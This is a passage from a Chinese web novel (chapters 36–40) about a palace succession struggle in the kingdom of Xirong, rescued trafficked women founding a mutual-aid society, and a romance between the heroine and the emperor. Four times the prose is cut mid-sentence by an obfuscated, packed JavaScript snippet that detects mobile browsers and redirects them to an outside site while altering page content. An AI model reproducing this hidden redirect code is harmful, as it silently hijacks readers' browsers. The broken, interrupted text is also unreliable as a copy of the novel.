“西戎与大宁毗邻,我大宁自是希望西戎能得一明君掌权,以便双方达成长久地互惠合作。”与二王子假意合作,只是为了让其在大王子与三王子之间暗中挑起波澜罢了。此人表面淡泊名利,与世无争,实则阴狠毒辣,随时准备咬人一口,连亲生父亲都敢下毒手的人,江幼宜万万不敢将其推上皇位。 一旦二王子登上皇位,西戎王室子嗣必将被其屠杀一空,而其野心勃勃,王室内部解决完之后,定会把目光投向邻国,即便短时间内不会对大宁下手,以后却未必不会,她不能给大宁树立一个始终在旁暗自窥视的强敌。 大王子此人暴躁易怒,头脑简单,耳根子又软,十分好拿捏,若他能上位,对大宁来说是一件好事,但只是暂时的。他看不透二王子为人,对其没有防备,早晚会折在二王子手里。 三王子此人,江幼宜完全不会考虑,如果说二王子的阴狠毒辣是隐藏在暗中的,那三王子就完全是暴露在明面上的,他为了得到王位无所不用其极。而且单就买卖大宁女子拉拢朝臣这一点江幼宜就完全不想与其接触,更不会原谅他。 至于眼前这人,鲜于宣年,现任国王鲜于宣世的弟弟,年龄与大王子差不多,在老国王刚上位的时候被封了个侯爵,小小年纪被打发到偏僻荒凉的北边,这二十多年默默在此积蓄力量,时刻准备杀了弑父杀兄的老国王,夺回王位,替父亲、母亲和哥哥报仇。 鲜于宣年是上任国王正妃的小儿子,原本上任国王打算传位给鲜于宣年同父同母的哥哥,是现任国王毒杀了上任国王和鲜于宣年的生母和哥哥,鲜于宣年因为年幼才逃过一劫。不止如此,上任国王的妃子被鲜于宣世杀的杀,充入后宫的充入后宫,随心所欲,罔顾人伦,滥杀无辜。 鲜于宣世毒杀了自己的父亲,现在他也即将死在自己儿子手里,也算因果轮回,报应不爽。 朝中三王子势力如日中天,虽然老皇帝还吊着一口气,但三王子所作所为已如国王无异。那日在朝堂上初见老国王病发,还对老国王怀有一丝父子之情不同,现在的他只盼着老国王尽快死去,自己就能名正言顺当上国王。 而二王子在朝中被排挤,每日在老国王病床前尽孝,顺便在老国王的药里添加慢性毒药,一边打造孝子人设,一边在民间散布三王子通敌资敌的消息。 西戎上下哗然,舆论瞬间发酵,不知何时民间组织起了游行,坚决抵制三王子继位。 三王子听闻气得摔了书房中所有的花瓶玉器,还不慎划伤了自己的手:“这群刁民,孤要杀光他们,去,把那群人全给孤杀了。” 三王子府中的护卫听令出动,与游行示威的百姓起了冲突,反而激起了更多人的反对,护卫被打得一身伤回了府。 “反了!真是反了!给孤调遣御林军,把那群人全部押入大牢,明日凌迟处死!” “殿下,不好了,御林军把我们府给围了。” 御 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16614421|187681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林军统领护着传旨太监进了三王子府:“三王子鲜于荣私自低价卖与敌国战马,通敌证据确凿,贬为庶民,即日起押入大牢,听候审讯,府中男子充入军籍,女子入教坊司。” “我没有通敌!我是冤枉的,那些马都是用来换女人的,你们人都收了,现在翻脸不认人了是吗?”三王子狂怒。 御林军统领大手一挥:“大王已经醒了,这是大王的旨意,来人,把人押去大牢。” “你们放开我,我自己去找父王说,那些女人父王也收了,父王一定不会这么对我的!是鲜于英是不是?一定是鲜于英在背后搞鬼,放开我,我要去找父王!” “三殿下,确实是大王下的旨,大王已命二王子暂理国政,得罪了。”统领摆手,示意赶快把人带走。 三王子不停挣扎,阴狠道:“你们这群贱民,以下犯上,等孤出来不会放过你们的!” 老国王之所以能这个时候醒来,自然是因为二王子鲜于英控制了药量,他已经得到了老国王的认可,可以名正言顺监国理政,那老国王也就失去了利用价值,不用再醒来了。 三王子入狱的第三天暴毙而亡,三王子死后的第五天老国王驾崩。 大雪纷飞,各地藩王奔赴都城参加老国王的葬礼。 “大王他分明是被人毒死的!”寂静无声的大殿里,突然有人高喝一声。 “谁在那里胡说八道?”二王子转身,朝发出声音的方向看去,阴沉的面色吓了他身边官员一跳。 这二王子一向和善,今日这是怎么了?这脸色,不知道的以为这是三王子呢。 “二殿下不必动怒,是与否一验便知。”站在官员之首的鲜于宣年站出来,面色平和。 “皇叔,父王已经入棺,此时验尸也太过大不敬了些,还是让父王安心去吧。” “非也非也,正是因为要让王兄安心去,才更要验尸,若王兄真是被人所害,凶手却逍遥法外,相信王兄九泉之下也不会瞑目。二殿下既然如此孝顺,想必也不想让王兄这么不明不白地死了吧?来人,开棺验尸!” “皇叔,我知道你怨恨父王只封了你一个侯爵,但就算你再恨父王,也不该这个时候来扰他清净,我会替父王补偿皇叔,还请皇叔让父王安心下葬。” “哦?二殿下莫不是怕了?若开棺后王兄尸体无恙,我愿以死谢罪,开!”鲜于宣年强势将人挡在一边,示意护卫上前。 “我看谁敢!御林军何在?此人对父王不敬,阻挠葬礼进行,把人给我押下去!” 御林军迅速持剑进入殿内,将殿内人团团围住,御林军统领走在最后,站在殿门口。 鲜于英脸上的笑还没完全展露开,就骤然拉下脸:“你们!我让你们围他,你们是要造反不成?” “抱歉殿下,您现在还不是国王,御林军只听命于国王,况且,我们也只是想知道大王真正的死因。” 37. 指认 有前排老臣开口:“二殿下,自大王在王座上昏倒,一直都是您服侍在大王左右,侍奉大王用药,既然现在有对您不利的谣言传出来,自然应该开棺验尸,证明您的清白才是,若是等您继位后再想澄清,届时大王已经入陵安葬,再被扒出来才是真正的不孝。” “二殿下,三王子被押入大牢,还未等审判便暴毙而亡;大王死因存疑,您又主张匆匆下葬。您现在种种反应,难道是想顶着毒杀亲父,谋害兄弟的罪名登基吗?” 鲜于宣年一声令下,已经钉死的棺材被撬开,士兵抬出老国王的尸体,露出老国王青紫的面容。二王子想上前阻止,被鲜于宣年的侍卫死死挡在一边。 御医仵作纷纷上前,查验得证老国王确实死于中毒,且此毒存于体内许久,是积年累月的慢性毒药,毒发前难以被觉察。 即便御医仵作不说,旁人也能看出,老国王的面色根本不是正常死亡之人的面色。 眼看文臣武将都不站在他这边说话,鲜于英再不掩饰自己的真面目,面目狰狞道:“父王是病死还是中毒而死有何区别,父王临终前可是有诏在先,任命我来监国。大哥私通后妃,三弟通敌叛国,都已被父王厌弃,如今你们无凭无据,就说父王的毒是我下的,这是污蔑!” 这毒之所以经年累月都没有被御医诊断出来,完全是因为这毒是二王子自制的,之前帮他下毒的小太监早就被他灭口,后面都是他自己下的,这群人根本不可能有证据,只要自己咬死不认,他们就没办法把弑君的帽子扣在他头上。 “二殿下想要证据?” 鲜于英看着胸有成竹的鲜于宣年,不知为何有种不详的预感,不会的,知道他会制毒的人少之又少,帮他下过毒的人也都消失的无影无踪,死人是不会说话的,除非…… 他看向大殿门口,一袭素白色衣裙的女子走了进来。她惯爱穿素色衣服,平日里脸上挂着清浅笑意,衬得人清丽脱俗,只是今日这身衣服孝服却不是如此,配上面无表情的五官,昔日的枕边人比初见时还要陌生几分,口中之语更是将他打入无边地狱。 “我二王子之妃赵婉蓉证明,大王所中之毒乃二王子殿下亲手所制,制毒原料和工具均在此。” 鲜于英定定看着殿中女子,那人从进来就没有看过他一眼,悲痛道:“我自认待你不薄,你为什么要这么做?” 他仍然记得他们初见是那年春日,她同其他女子一起被赶到三弟府中,远远看着就能感觉到她与其他女子的不同,说不出来具体原因,但他眼中确实只能看到她一人。她被人无情推搡着,在府外不慎摔倒,他不顾身份上前搀扶,只得了三弟一句意味不明的嘲讽。 第二日三弟上书父王,他就这样被父王赐婚,对象是一个毫无背景的大宁女子,甚至是被偷偷卖来的。他知道三弟的意思,表面是为他好,让他娶到心仪的女子,实际只是不想让自己通过婚事得到世家大族的支持。 他生母只是个侍女,没有任何根基,与大哥和三弟生来就不是一个级别,自然也不会有哪家愿意放弃更好的选择来支持他。 就算没有这个女子,日后他婚配的也只会是其他的平民女子,他早就不对自己的婚事抱有任何幻想。更何况父王赐婚,不得推拒。赵婉蓉十分温婉贤淑,婚后的日子出乎他意料的温馨,即便婚后几年她无所出,他也没有纳过其他女子。 他对她毫不设防,结果现在他最信任的人反而伤他最深。 女子终于看向鲜于英,那双杏眸中看不出丝毫往日的情谊:“殿下,你知道的,你我都是权力的牺牲品,如今,我也只是想做一个自由人而已。” 女子的话像一把冰冷的利剑,穿透鲜于英的胸膛,冬日的凉风带来刺骨的寒意,穿着温暖的皮裘也未能抵挡分毫。一直到他被士兵拖着离开大殿,他的视线都没能在女人身上移开半分,经过赵婉蓉身边时,只留下低低一句:“连你也要抛下我……” 赵婉蓉转身站在殿中,目视鲜于英被带走,一如当年在三王子府。只是时光轮转,当时被人带走命运未知的是她,现在被人带走命运未知的是他。 “恭喜侯爷,贺喜侯爷,如今王位重回侯爷手中,也算拨乱反正。”若论血脉,宣年侯爷才是先王嫡子,老国王弑父杀兄,得位不正,如今拥护鲜于宣年登位,算是重归正统。 耳边的贺喜声拉回赵婉蓉的心绪,再眨眼,外面已没有鲜于英的背影。 她转身看向鲜于宣年:“侯爷,恭喜,需要我做的我已经做完了,希望侯爷可以遵守承诺。” “自然,那人就在灵犀山山谷等你。” “再会。”赵婉蓉拜别,转身朝风雪中走去,漫天的雪花打在脸上,她的眼睛有一瞬间的模糊,呼出的气息化为一缕白雾,她伸手,天高地广,虽冷,却自由。 “婉蓉,这里!” 赵婉蓉抬头望去,前方山谷处停着许多马车,周围站着许许多多的女子,有的衣着华丽,有的衣衫褴褛,但无一例外,她们脸上都挂着无惧风雪的笑容,最前方冲她招手的,正是大王子府里悄悄给她递纸条的江幼宜。 真好,能回家的感觉,真好。 回程的马车上,大家挤在一起叽叽喳喳分享小时候的趣事,气氛很是温馨和谐,只是趣事分享完了,眼看着离大宁边境越来越近,以后的路要怎么走也近在眼前。 她们或是家中老小被杀,已是家破人亡,或是被人意外掳走,又或者干脆就是被原来的家人卖掉,但无一例外,这群人在一开始的兴奋之后,全都反应过来,自己虽然能回家了,但也无家可归了。 “我打算在陇西住下,组建一个商队,来往西戎和大宁,如果碰到与我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16614422|187681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们一样命运的女子,无论是助她回到大宁,还是尽我所能资助她生活,都是功德一件。”赵婉蓉率先开口打破沉默,她的家人被屠杀殆尽,回去只徒增伤感,不如干脆换个地方生活,重新开始。 江姑娘凭借一己之力挽救了这么多女子,她虽做不到这样,但能救一个也是救,况且她这些年生活在西戎,也对西戎物产比较了解,对她来说,来往西戎和大宁行商是一个不错的选择。 江幼宜当然也知晓这些人回到大宁即将面临的困境,她早已做好打算,只是没想到,赵婉蓉居然早就做好了自己的打算,与她的也算不谋而合。 她接着赵婉蓉的话开口:“行商不是一件易事,婉蓉很有勇气。如果大家无处可去,我打算在几地设立女子互助协会,主要用于帮助女子走出困境,用自己的双手赚钱谋生。” “婉蓉的话给了我很大的启发,既然大宁能与西戎互市,大宁内部也一样,这个协会本来打算给大家提供一个安居之所,让大家凭借自己的一技之长赚钱,没有专长的协会也会设置一些课程供大家学习。现在婉蓉既然打算行商,那我们的协会之间也可以如此,组建我们自己的商队,在设置协会的城市之间行商,让各地的商品流通起来。喜欢到处走走的可以出来走商,不喜欢的就在协会守着铺子,如果担心行商危险我们再多雇几个人,如何?” 赵婉蓉率先支持:“如此甚好!这样我就可以直接带着协会出产的商品直接去西戎了。” “正是如此,婉蓉带回来的西戎商品可以放在协会的铺子里寄售,也可以直接卖给铺子,互惠互利。” “好,我加入,反正我也没有家了。” “我也加入,我爹娘狠心把我卖出去,那个家我早就回不去了。” “我也加入。” 马车里的女子们纷纷举手表态。 “江姑娘,在几地建立协会需要不小的花费,你……”赵婉蓉委婉开口,她之所以敢开口行商,一个是因为她熟悉西戎,再就是因为她手中有一笔不少的钱财。鲜于英说的没错,这些年,他确实没亏待过她,吃穿用度皆是上乘,他没有对不起她,是她对不起他,只希望他能在她看不见的地方好好活下去。 毕竟她之所以答应鲜于宣年站出来揭发他,条件就是让鲜于宣年留他一条命。她看了马车上其他的姐妹,在西戎的这些年命运各异,如果不是因为她遇到了鲜于英,或许她连活着等到江姑娘的机会都没有。此生,她们的开始是个错误,他的恩情,只能等来世再报了。 哒哒哒的马蹄声响起,听声音人数不少,马车内的女子们十分紧绷,难道是西戎人反悔了,不想放她们回大宁?眼看就要进入大宁了,就算前途未卜,她们也不愿再回到西戎。 江幼宜撩开车帘,对上一双温情十足的双眸,惊喜道:“你怎么来了?” 38. 谈心 “娘子果然厉害,短短时间就把西戎王室搅得天翻地覆,连国王都换了一个,倒是为夫来晚了。”谢怀川看着车窗内露出来的面容,调笑道。 “少胡说八道。”江幼宜脸颊迅速泛红,不知是被冷风吹的还是怎么着,突然眼神一凛,严肃道,“你的胳膊怎么了?” 虽然隔着披风看不清晰,但江幼宜敏锐地觉察到谢怀川左胳膊的不自然。对方左手没有握着缰绳,只虚虚地搭在马脖子上,勒马也只用了右手,当然谢怀川的骑马技术十分娴熟,单手勒马完全能做得到,只是左胳膊明显很不协调,是隔着披风都能看出来的僵硬。 “不小心被划了一下,没有大碍。” 江幼宜身后都是人,不晓得谢怀川的计划现在进展到什么地步,也不好多问。 “天冷风大,把车帘放下吧,等到客栈再叙。”说着就要伸手帮忙放车帘。 谢怀川骑马走在马车右边,所以挨着马车的是左手,江幼宜忙道:“不许动,我自己来。”都受伤了还乱动,她瞪了谢怀川一眼才把车帘放下,一转头,车内女子全都一脸八卦地看着她。 某个女子捂嘴偷笑,调侃道:“江姑娘的夫君可真好,接人都接到西戎来了。” “江姑娘,你的夫君好英俊呀。” 江幼宜涨红着一张脸:“大家别乱说呀。”谢怀川怎么回事,怎么突然变得这么没脸没皮了!偏偏她答应过要跟他假扮夫妻隐藏身份,现在根本无法反驳。 “好了,大家别说了,江姑娘会害羞的。” 终于进了大宁境内,一行人在榷场附近找了间客栈安顿下来,此处榷场已经全部换人,原来被她们绑起来的负责人已经依法论罪,现在的榷场内外秩序井然,百姓脸上带着安心的笑意。 一行从西戎被就回来的女子看得热泪盈眶,想起当年她们就是在此地如同牛羊一样被随意交易给西戎人,被迫背井离乡如此之久,如今进入榷场需要经过层层盘查,严禁在榷场内交易律法规定的违禁之物,看着这样的榷场,大家终于有种回家了的安定感,再不必担忧第二天醒来不知身处何地了。 而赵婉蓉看到江幼宜的“夫君”出行派头如此大,前前后后跟着十几人,看起来还都不是普通人,也没再担忧江幼宜是否能负担起在各地建互助协会的花销。 “江大人。” 江幼宜回头,是卜溪风,她进入西戎之后,卜溪风带着他的手下一直在暗中帮她调查西戎皇室,四处传递消息,虽然没怎么露过面,但西戎之行能成功,少不了卜溪风和各暗卫的帮忙,现在回到大宁,才得以重新团聚。 “卜副将,在西戎多亏了有您。” “江大人不必言谢,这是我身为大宁将士该做的。陇西的事情已经结束,我要回北境了。” 原来是来告别的,也是,卜溪风本就是镇北军的,这次只是被谢怀川调来支援,一切尘埃落定,是该回去了:“那祝卜副将一路顺风。” “多谢。” 江幼宜看卜溪风欲言又止:“卜副将可是还有别的事想说?” 卜溪风看一眼围在边上一脸惊异看着两人的女子们:“江大人,可否借一步说话?” “自然。”她颔首,朝边上的女子们笑笑,跟着卜溪风离开,身后的女子们面面相觑。 “江大人?我没听错吧,江姑娘居然是女官吗?” “应该没听错,我听着也是江大人,而且江姑娘称那男子为卜副将,卜副将对江姑娘尊重有加,江姑娘肯定是女官!” “怪不得江姑娘这么厉害,原来是女官。” “原来女子也能做官吗?” 只可惜江幼宜没回头,看不到身后一堆人的星星眼,也不知道她是女官这件事对身后这些本来很迷茫的人造成了多大的影响,她只知道自己现在很震惊! 她努力维持自己表面的平静:“抱歉,我在宫中没有见过太后,随陛下去慈宁宫的时候太后在礼佛没有见人。” 卜溪风垂下头:“多谢江大人,此事还望江大人……” “我知道,你放心,我肯定不告诉别人,我就当从没听到过。”敢妄议太后,她怕不是嫌活得太久了。不过她真的很好奇,卜溪风跟太后究竟是什么关系,就对方这副情态,说他俩没关系没人会信。难道是太后的爱慕者?她记得之前初见卜溪风的时候,谢怀川问过对方没死为什么不传信回京,当时对方说京中已无亲人,谢怀川肯定知道些什么,啊,贵圈真乱啊。 “他是不是问了母后的事?” 江幼宜正看着卜溪风的背影疯狂脑补八卦,谢怀川的声音突然从背后响起,这个人真是,每次都在她背后吓她一跳!还有,她刚答应了卜溪风不会往外说的,你不要猜这么准啊!这样她很难不脑补更多关于两人的爱恨情仇。 “她们是什么关系?”江幼宜答非所问。 谢怀川微微一笑:“想知道?跟我来。” 江幼宜看着被谢怀川随手捞起交握在一起的手,讲八卦就讲八卦,用得着牵手吗?她看着一路朝她们投来八卦目光的人,这下好了,本来想吃别人的瓜,现在自己反倒成了别人八卦的主角了。 谢怀川牵着人一路出了榷场,进了榷场周边的一家饭馆,很小,只有一层,也没有包厢。谢怀川点了两碗面,是当地特色的拉面,加入辣椒油,在冬日散发着腾腾热气,只是看着闻着就十分御寒。 她迫不及待挑起一筷子面,冬天果然还是吃这些热的最舒服,哪怕只是一碗面:“不是说要告诉我?怎么不说?” 谢怀川往周围看了两眼,饭馆小,里面摆的桌椅很挤,现在正是饭点,里面坐得满满当当,他一挑眉:“你确定要我在这里说?” 隔壁桌子吸溜面的声音都听得一清二楚,不是个聊私密八卦的好地方:“那赶快吃饭,吃完我们换个地方聊。” “就在这儿,周围有人没人一眼就能看到,快说吧。”江幼宜把人拉到冰冻三尺的河边, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16614423|187681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一张口就哈出一股热气,她哈口气,搓搓手,刚想把手藏进披风里,就被人握住。 对面人似乎对她挑的地方不太满意:“怕冷还来这种地方,为了听个秘辛这么拼?” 谢怀川十分干脆地把人抱进怀里,用自己的披风把人裹住,一把按住试图挣扎的江幼宜:“就这么听吧,暖和。” “哦,好吧。”江幼宜小幅度挪动下位置,找了个更舒服的姿势窝着不动了。 “卜副将与我母亲是青梅竹马,两人互相倾慕,后来卜副将随父亲母亲来到边关,曾答应母亲回来娶她。后来外祖用卜副将的性命要挟母亲入宫中为后,以巩固家族地位,母亲被迫答应,只是不久与北狄爆发冲突,战报传回京城,卜副将的父亲与卜副将均战死沙场,母亲心灰意冷,认为是外祖从中作梗,只为断了她的心思,让她安心待在后宫里诞下皇嗣。” “后来呢?” “后来母亲生下了我,她怨恨外祖,怨恨父皇,也怨恨我,她想掌控更多的权力,这样就能掌控自己的人生,后宫不得干政,于是母后假意跟外祖联手,让大皇兄失宠,太傅致仕,外祖成了首辅,我成了幼帝,母后垂帘听政。她开始收拢权力,扶持自己的势力,母后厌恶世家那套门当户对的理念,她认为这套理念让所有的女子都成了世家联姻的牺牲品,她在朝堂上跟外祖打擂台,开始扶持自己的势力,她选中的就是当朝次辅孙卓坤。” “我知道,孙次辅是寒门出身,太后也想利用寒门制衡世家是吗?” “对,只不过人总是会变的,孙卓坤爬上次辅位置的第一件事就是联合他人,以我已成年为由将母后从朝堂赶回了后宫。” “那你现在选了我,你不怕我以后也会像孙卓坤一样,变成一个跨级飞升后就翻脸不认人的白眼狼吗?” “你不会。”谢怀川的手从江幼宜后背抚上她的头顶。 江幼宜手撑到谢怀川胸口,从他的怀里撤出来,抬头问道:“为什么?” “因为你心里装的是百姓,他心里装的是他自己。我从余同县见你讲故事的时候就知道,你与其他人不同,你的言行举止,科举文章,都是从弱者立场出发,真正在为他们发言,替他们着想,帮他们谋福,所以你不会是下一个孙卓坤。” 疏离的爸,冷漠的妈,耀眼的大哥和被排挤的他,应该可以概括谢怀川的童年,继位后,朝堂大权又被外祖和母亲把持,自己成了彻头彻尾的傀儡,按照往常的套路,他应该理所当然地成长为昏君,就像现在外界传言的那样,可是他不但没有,反而用他敏感的内心去体谅别人,江幼宜忽然心疼起眼前的男人。 这些年,想必他也活得十分辛苦吧。 “陛下,我永远不会背叛你。”江幼宜的手抚上谢怀川的脸,“如果你能一直做个明君的话。”她可不要做助纣为虐的奸臣。 谢怀川的手抓住江幼宜贴在他脸上的手,让脸颊贴得更紧:“那你一直留在我身边监督我好吗?” 39. 离开 “陛下身边还会有其他人吗?”江幼宜定定看着谢怀川的眼睛。 谢怀川认真道:“不会,珠玉在前,我再看不见其他人。” “天下之大,人外有人,总会有比我更好的人出现。” “那自然也会有比我更好的人出现,届时,你也会离我而去吗?” 江幼宜轻轻摇头:“不会。” “你说了,我就会当真,如果哪天你抛弃了我,我不知道自己会做出什么事,所以,千万不要离开,好吗?” 江幼宜没有说话,手搭上谢怀川的脖子,微微踮脚,印上谢怀川的唇瓣,微凉却柔软,很像他这个人。她本想轻轻一碰就离开,下一秒,一双大手从她的脸颊包裹到耳后,两人的气息彻底交缠在一起,谢怀川的舌头舔开她的唇缝,趁虚而入,攻城略地。 一只手逐渐移到后脑勺,另一只手按在她腰上,两人严丝合缝贴在一起,谢怀川的所有反应都被她第一时间捕捉。 “呜……”快要喘不上气了,她伸手推了谢怀川的肩膀一把,后脑勺的那只大手总算松了一松,江幼宜趁机把脸移开,埋在谢怀川肩上不肯再抬头。 太疯狂了,初吻就这么激烈,江幼宜从脸颊到脖子的皮肤都很红,不知是羞的还是憋的,她忍不住又锤了谢怀川肩膀一拳,这大冷天的,怎么这么大火气! 谢怀川把脸埋在江幼宜颈间,将人搂得十分紧,口中低声呢喃:“幼宜,谢谢你,我好幸福。” 江幼宜的手从披风两侧钻进去,同样紧紧搂住谢怀川:“陛下,我也是。” 充满爱意的拥抱真的让人幸福感满满,浑身充满力量。不论谢怀川以后后宫里会不会出现其他人,那都是以后的事,她现在完全想明白了,人生苦短,想做什么就要去做,就像她义无反顾踏入朝堂一样,她有一往无前的勇气,也能接受可能并不如意的结局,但人生本来就是一个体验的过程,如果事事都只奔着完美的结局去做,会失去很多宝贵的体验。 有得有失,才是完整的人生。 两人相拥着依偎在河边许久,脚下的寒气逐渐蔓延至小腿,再浓厚的情谊也无法打败严寒,江幼宜终于发觉自己找了个糟糕的地方。 “陛下,回去吧。” “叫我的名字。”谢怀川低头看向怀里的人。 江幼宜抬头,对上谢怀川的双眼,低声道:“阿川。” 谢怀川笑起来,很明媚,像一个得了糖果的孩子,他快速在江幼宜唇上啄了一口,笑意通过这个简短的吻传递,江幼宜的嘴角也不自觉翘起来。 原来,恋爱是这种感觉。 两人十指相扣回到客栈,谢怀川先给江幼宜倒了一杯热茶暖身。 江幼宜甜甜道谢:“多谢阿川。”口中略带涩意的茶水都变得清甜起来。 “郡王那边已经料理完了,沿线的官员也已经派钦差大臣和锦衣卫一起协同调查,少了郡王这棵大树,这些蛀虫被揪出来想必难度不大,科举书也已经推行出去,我们是时候该回京了。”谢怀川转头,看向江幼宜,“同我一起,你怕吗?” 意图造反的藩王已死,与这桩案件相关的官员被下只是时间问题,如此大案,被谢怀川一人解决,替换如此多官员,想要瞒过朝中世家是不可能的事情,或许有人已经意识到,高位上的傀儡皇帝并非傀儡或是不甘愿继续当傀儡。 相比藩王造反,科举书发行或许看起来毫不起眼,但总会有敏锐的聪明人能将两者联系起来,意识到皇上南下选妃只是个幌子,他们此番回京,面对的将是已有防备的世家大族,且是手握权势的世家大族,而谢怀川的头号对手,就是当朝首辅,他的外祖——顾松涛。 “我不怕。”她只是担心,顾松涛毕竟是谢怀川的外祖,血脉相连,而且顾靖川也在朝为官,靖川是她的好友,到时候只怕很为难,他们几个都为难。 但无论怎样,该面对的还是要面对,现在朝堂上的形势,普通人几乎没有出头的机会,底层百姓的生活没有盼头,非常不利于整个社会的安稳,是时候该做出改变了。 不过在离开之前还要一件事要做,那就是女子互助协会。 能活到被救出来的,大都是性格坚毅之人,但多年被伤害的异国生活难免会让很多人失去融入社会的能力,女子互助协会不单要帮这些人找到适合谋生的技能,还要对这些人进行一些心理疏导。 陇西这边肯定要建一个,她这次去西戎一趟,带回来的也只是一部分而已。这里不像现代,身份信息可以一键查询,失踪了也有人到官府报备,这里更多人都是无声无息就消失了,她没有所有人的名单信息,也不是超人,不能创造一次就把所有人都救出来的神话。 但西戎换了一个能合作的国王,有了这样一个掌权者,两国共同合作,相信贩卖人口的事肯定会越来越少,而那些已经被带到西戎,还没被发现的人,有了西戎朝廷的帮助,也能更快被送回大宁。 陇西这边的互助协会交给了赵婉蓉负责,互助协会是以官府的名义成立的,每年以救济款的形式给互助协会拨款。国库本就不丰盈,江幼宜成立互助协会的本意也不是想让朝廷出钱直接养着这些人,而是让无路可走的女性有一个暂时遮风避雨住所,在协会的帮助下成长起来,所以拨款数额定得不大。 在这里,大家除了利用自己各自的专长织布绣花,还与榷场达成合作,包揽了守卫们的饭食,这个主要是给一些暂时没有一技之长人的过渡工作。而那些有一技之长的人除了靠卖自己的专长赚钱,还能在协会里开课,协会也会给报酬。 等大家认为自己有独立生活的能力之后,可以选择离开协会,无论是成亲还是经商都可以。 规划好协会运营的章程,陇西这边的事总算收完了尾。与江幼宜同去西戎的几位女子带着谢怀川的谕旨和陇西协会的章程,在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16614424|187681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锦衣卫的护送下去到其他州府,成立另外的互助协会。 当然,除了协会运营的章程,每个协会还必备一套科举参考书,这个朝堂,不能只有她一个女子,她一个人势单力薄,还需要千千万万人同她一起,女性的声音才能被更多人听见,她们的付出才能被人看见。 此时,那些女子才知道,原来救下她们的女子居然是起居舍人,原来女子也能读书,原来女子为官并不比男子做得差,只是朝堂上没有江幼宜的名字。 “陛下,你明白我想做什么对吗?”看着女子们和锦衣卫一同离开,江幼宜回头望向谢怀川。 “你选的路比我选的更艰难,你想清楚了吗?” “当然。”其他的事她可能猜不到结局,但这件事一定会成功。那些人不会知道女子有多大的潜力,即便被压制几千年,但一旦有了突破口,她们能用短短几十年的时间追上几千年的差距。她们只是缺少一个机会,那她就来创造这个机会。 陇西的事情终于告一段落,一行人踏上回程的路线。 行经临西府时,江幼宜叫了停。 “阿川,我想去见个人。”她看着马车窗外覆着浅浅白雪的小麦田,突然开口。 天气正在慢慢变暖,寒冷的冬天终于过去,柳树发新芽,石缝里的小草也开始冒头。 时隔不到两年,江幼宜终于再次见到小草,不是在刘财主家,而是在一个小餐馆里,她在后厨替人烧火、洗刷碗筷。 刘财主死了,几个成年儿子争夺家产,那些刘财主晚年纳过的小妾,无论有孩子没孩子的都被赶出来了,包括小草。 小餐馆给的工钱不多,小草虽然过得落魄,但她的精神状态却比她在家时还好,见到她开心地迎上来,喊她“幼宜姐姐”。 “幼宜姐姐,多亏了你给我的字卡,我才能在被赶出来的时候看到这家餐馆张贴的招人告示。” 江幼宜摸了摸小草的头,没有问她为什么不回傅家,那家人从没有把小草当作家人,不回才好。 “小草,你愿不愿意跟我进京啊?”表哥还在稷下书院,她要上值,姨母一个人在家十分孤单,如果小草能进京陪陪姨母,那再好不过了。 “幼宜姐姐,如果不是你,我怕是早就寻死了,你救了我的命,我愿意跟你进京做牛做马,偿还你的恩情。”小草挺着瘦条条的身体,十分认真。 江幼宜笑笑:“傻小草,你的命从来就在你自己的手中,是你自己坚强,与我无关,进京也无需你为我做牛做马,你只需要做你自己。我经常不在家,姨母一个人在京城怪闷的,就辛苦小草多帮我陪陪她了。” 小草住在开小餐馆的夫妻俩家里,她没什么行李需要收拾,只有一身衣服,对于小草要跟着江幼宜离开,夫妻两个没什么别的表示,只是笑着让小草好好的。 载上小草的马车重新上路,江幼宜道:“我还有一个地方要去。” 40. 回程 马车缓缓向东北方向行去,那是太元州余同县的方向,是原主的家,江幼宜穿来的地方。 原主一家的惨案也与郡王有关,现在与之相关的官员全部被查,被抓去挖矿的男人和被卖的女子也都在陆续找回,原主全村人也算大仇得报,只是迟来的正义终归挽不回受害人的性命和活着的人受到的伤害。 